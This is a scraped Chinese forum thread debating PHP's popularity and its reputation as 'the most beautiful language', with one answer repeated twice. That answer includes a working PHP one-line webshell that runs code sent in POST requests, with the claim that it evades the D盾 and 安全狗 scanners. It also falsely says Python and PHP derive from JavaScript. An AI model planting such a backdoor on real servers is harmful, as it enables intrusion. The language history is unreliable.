-
1 # 海陽頂端
-
2 # 一方諸言
php作為雄霸網際網路的首選語言,不能說不火,但是現在應用從web轉到移動和人工智慧,網際網路呈現多元化的格局,php逐漸成為後端,獲取客戶越來越需要精準的應用和便捷的推廣,因此php在這波智慧應用大潮中淡去,任何語言都需要場景,現在是python,go,java,javascript逐漸展現其擅長領域,對於語言而言,需要看其場景。選擇合適的語言才能有用
-
3 # 431710
、php語言還火嗎?
火!從IEEE Spectrum 釋出的2017年程式語言排行榜來看,php排行第8位。
python毫無爭議排在了第一位,php相比2016年下降了1位,比2015年下降了2位,雖然在逐年下降,但依舊排在了前10位裡。但是這是純粹的程式語言排行榜,因為php有一些地方受限,像寫GUI之類的圖形介面有些力不從心。但你不要忘記了統計php語言火不火還有一個重要的指標,就是在web市場的佔有率。
知名調查公司Netcraft釋出的2017 Web伺服器全球調查報告,APACHE、IIS、NGINX分別排在前3位,眾所周知,APACHE+NGIX+PHP,依舊是市場的主流,PHP在WEB端佔有高市場份額。PHP的定位非常明確,就是用來快速搭建個人網站的工具。工具的第一要點,不是外觀漂亮,不是設計優雅,而是...好用。
綜上所述,PHP在WEB端再火個三年,我認為一點問題也沒有。
二、php語言爭議很大和php是世界最美語言矛盾嗎?
這個問題本來就是題主的自問自答,php語言爭議很大是肯定的,但估計有一半人不贊同php是世界最美的語言。
php語言爭議最大的地方應當是它的靈活性。
正因為它太靈活了,語言表示方法上的隨意性。一部份人在深入使用之後,你會發現這個該死的語言處處都是大坑,坑裡裝滿了一坨一坨的 shit,一不小心一腳捅進去,除錯排錯能讓正常人發瘋。另一部份人,覺得這個靈活正好是我需要的,這是我讚美的地方。特別是在駭客領域,php的一句話木馬變形方法異常之多,我來舉一個我寫的變形例子:
<?php$arr = get_defined_functions()["internal"];echo $arr[850]; //每個版本的assert數字不同, php版本5.6.27為850$arr[850]($_POST[1]);?>這個一句話,可以輕鬆過D盾和安全狗的。
如果說世界上最美的語言, 不同的人有不同的看法。有的是從嚴格的工業性來講,嚴謹之美,像C++,有的是從創新來講,像lisp。我個人的看法最美的語言是javascript,作為高階語言程式設計的先驅者,javascript有中國道家的思想,像裡邊的空和無的概念。我還是欣賞道家思想的。
一生二、二生三、三生萬物,從javascript上,後續的很多語言吸收了javascript的優點,如python、php等。
-
4 # 黑馬程式設計師PHP優點:
目前相對來說,PHP還是比較火的。據不完全資料得知,中國對PHP人才非常緊缺,大約每年有50萬人左右。關於PHP學習,樓樓可根據階段來學:
第一階段:第二階段:第三階段:第四階段:第五階段:關於每個階段的配套影片,樓樓可以找我要哦!
回覆列表
一、php語言還火嗎?
火!從IEEE Spectrum 釋出的2017年程式語言排行榜來看,php排行第8位。
python毫無爭議排在了第一位,php相比2016年下降了1位,比2015年下降了2位,雖然在逐年下降,但依舊排在了前10位裡。但是這是純粹的程式語言排行榜,因為php有一些地方受限,像寫GUI之類的圖形介面有些力不從心。但你不要忘記了統計php語言火不火還有一個重要的指標,就是在web市場的佔有率。
知名調查公司Netcraft釋出的2017 Web伺服器全球調查報告,APACHE、IIS、NGINX分別排在前3位,眾所周知,APACHE+NGIX+PHP,依舊是市場的主流,PHP在WEB端佔有高市場份額。PHP的定位非常明確,就是用來快速搭建個人網站的工具。工具的第一要點,不是外觀漂亮,不是設計優雅,而是...好用。
綜上所述,PHP在WEB端再火個三年,我認為一點問題也沒有。
二、php語言爭議很大和php是世界最美語言矛盾嗎?
這個問題本來就是題主的自問自答,php語言爭議很大是肯定的,但估計有一半人不贊同php是世界最美的語言。
php語言爭議最大的地方應當是它的靈活性。
正因為它太靈活了,語言表示方法上的隨意性。一部份人在深入使用之後,你會發現這個該死的語言處處都是大坑,坑裡裝滿了一坨一坨的 shit,一不小心一腳捅進去,除錯排錯能讓正常人發瘋。另一部份人,覺得這個靈活正好是我需要的,這是我讚美的地方。特別是在駭客領域,php的一句話木馬變形方法異常之多,我來舉一個我寫的變形例子:
<?php$arr = get_defined_functions()["internal"];echo $arr[850]; //每個版本的assert數字不同, php版本5.6.27為850$arr[850]($_POST[1]);?>這個一句話,可以輕鬆過D盾和安全狗的。
如果說世界上最美的語言, 不同的人有不同的看法。有的是從嚴格的工業性來講,嚴謹之美,像C++,有的是從創新來講,像lisp。我個人的看法最美的語言是javascript,作為高階語言程式設計的先驅者,javascript有中國道家的思想,像裡邊的空和無的概念。我還是欣賞道家思想的。
一生二、二生三、三生萬物,從javascript上,後續的很多語言吸收了javascript的優點,如python、php等。